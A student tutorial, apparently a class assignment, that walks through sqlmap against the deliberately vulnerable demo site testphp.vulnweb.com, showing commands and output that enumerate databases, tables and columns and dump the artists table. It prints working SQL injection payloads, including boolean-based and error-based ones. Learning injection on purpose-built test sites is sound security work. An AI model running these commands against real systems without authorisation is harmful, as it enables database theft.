

“SQL MAP”

--S.JOE MATHEW
(192IT159)

SQL MAP:

SQLMAP tests whether a ‘GET’ parameter is vulnerable to SQL Injection.

```
root@kali:~# sqlmap
[1.3.11#stable]
http://sqlmap.org

Usage: python2 sqlmap [options]
sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). Use -h for basic and -hh for advanced help
[10:58:36] [WARNING] you haven't updated sqlmap for more than 243 days!!!
```

SQL INJECTION BY SQL MAP:

1. List information about the existing databases:

We use the `--dbs` option to do so. `--dbs` lists all the available databases.

Command: `sqlmap -u`

`http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs`

```
root@kali:~# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
[1.3.11#stable]
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the user's responsibility to abide by the applicable
[*] starting @ 11:05:40 /2020-07-02/

[11:05:44] [INFO] testing connection to the target URL
[11:05:45] [INFO] checking if the target is protected by some kind of WAF/IPS
[11:05:46] [INFO] testing if the target URL content is stable
[11:05:46] [INFO] target URL content is stable
[11:05:46] [INFO] testing if GET parameter 'cat' is dynamic
[11:05:46] [INFO] GET parameter 'cat' appears to be dynamic
[11:05:47] [INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable (possible DBMS:
[11:05:47] [INFO] heuristic (XSS) test shows that GET parameter 'cat' might be vulnerable to cross-site scri
[11:05:47] [INFO] testing for SQL injection on GET parameter 'cat'
[11:05:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'ing provided level (1) and risk
[11:05:59] [WARNING] reflective value(s) found and filtering out
[11:06:00] [INFO] GET parameter 'cat' appears to be 'AND boolean-based blind - WHERE or HAVING clause' inject
[11:06:00] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT
[11:06:00] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[11:06:01] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
```

WE CAN SEE LIST OF DATABASE BELOW

```
-----
[11:06:29] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.10, Nginx 1.4.1
back-end DBMS: MySQL ≥ 5.0
[11:06:29] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
[11:06:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testphp.vulnweb.com'
[11:06:29] [WARNING] you haven't updated sqlmap for more than 243 days!!!
[*] ending @ 11:06:29 /2020-07-02/
```

2. List information about Tables present in a particular Database;

We are selecting acuart database and list the tables in acuart database.

Command: `sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables`

```
root@kali:~# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables
-----
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage
[*] starting @ 11:08:52 /2020-07-02/
[11:08:56] [INFO] resuming back-end DBMS 'mysql'
[11:08:56] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
-----
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2014=2014

  Type: error-based
  Title: MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: cat=1 AND FLOOR(RAND(0)) > 0.5
```

Below we can see a list of tables available in the database.

```
[11:08:58] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.10, Nginx 1.4.1
back-end DBMS: MySQL ≥ 5.0
[11:08:58] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----+
| artists |
| carts   |
| categ   |
| featured |
| guestbook |
| pictures |
| products |
| users   |
+-----+

[11:08:58] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testphp.vulnweb.com'
[11:08:58] [WARNING] you haven't updated sqlmap for more than 243 days!!!
[*] ending @ 11:08:58 /2020-07-02/
```

3. List information about the columns of a particular table:

We are taking artists tables and list all the columns present in the artists table.

Command : `sqlmap-uhttp://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --columns`

```
root@kali:~# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --columns
{1.3.11#stable}
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage
[*] starting @ 11:11:02 /2020-07-02/

[11:11:05] [INFO] resuming back-end DBMS 'mysql'
[11:11:05] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2014=2014

  Type: error-based
  Title: MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
```

List of columns of artist database below:


```

[11:11:06] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.10, Nginx 1.4.1
back-end DBMS: MySQL ≥ 5.0
[11:11:06] [INFO] fetching columns for table 'artists' in database 'acuart'
Database: acuart
Table: artists
[3 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| adesc   | text |
| aname   | varchar(50) |
| artist_id | int(5) |
+-----+-----+

[11:11:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testphp.vulnweb.com'
[11:11:07] [WARNING] you haven't updated sqlmap for more than 243 days!!!
[*] ending @ 11:11:07 /2020-07-02/

```

4.Dump the data from the aname column:

Now we are going to dump the data of aname .

Command `sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump`

```

root@kali:~# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's
, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this
[*] starting @ 11:12:40 /2020-07-02/

[11:12:41] [INFO] resuming back-end DBMS 'mysql'
[11:12:42] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 2014=2014

Type: error-based
Title: MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: cat=1 AND (SELECT 6210 FROM(SELECT COUNT(*),CONCAT(0x716a707671,(SELECT (ELT(6210=6210,1))),0x71706a6b71,FLOOR
INS GROUP BY x)a)

[11:12:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testphp.vulnweb.com'
[11:12:43] [WARNING] you haven't updated sqlmap for more than 243 days!!!
[*] ending @ 11:12:43 /2020-07-02/

```

The Dumped data from aname :

```
[11:12:42] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.10, Nginx 1.4.1
back-end DBMS: MySQL >= 5.0
[11:12:42] [INFO] fetching entries of column(s) 'aname' for table 'artists' in database 'acuart'
Database: acuart
Table: artists
[3 entries]
+-----+
| aname |
+-----+
| Blad3 |
| lyzae |
| r4w8173 |
+-----+

4. Step 4: Dump the data from the columns
Similarly, we can access the information in a specific column by using the following
command, where -C can be used to specify multiple column name separated by a
comma, and the -dump query retrieves the data

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1

[11:12:43] [INFO] table 'acuart.artists' dumped to CSV file '/root/.sqlmap/output/testphp.vulnweb.com/dump/acuart/artists.csv'
[11:12:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testphp.vulnweb.com'
[11:12:43] [WARNING] you haven't updated sqlmap for more than 243 days!!!

[*] ending @ 11:12:43 /2020-07-02/
```

--THANK YOU